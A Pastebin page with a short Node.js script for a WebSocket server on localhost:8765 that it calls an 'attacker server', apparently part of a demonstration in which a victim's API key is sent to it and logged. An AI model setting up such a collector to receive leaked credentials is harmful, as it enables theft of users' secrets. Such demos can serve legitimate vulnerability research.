Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import { WebSocketServer } from 'ws';
- const wss = new WebSocketServer({ port: 8765 });
- wss.on('connection', (socket) => {
- console.log('🚨 A client connected to the attacker server!');
- socket.on('message', (data) => {
- // This is where you will see the API key arrive
- console.log('📩 Received data (this may contain the API key):');
- console.log(data.toString());
- });
- });
- console.log('Attacker WebSocket server listening on ws://localhost:8765');
Advertisement
Add Comment
Please, Sign In to add comment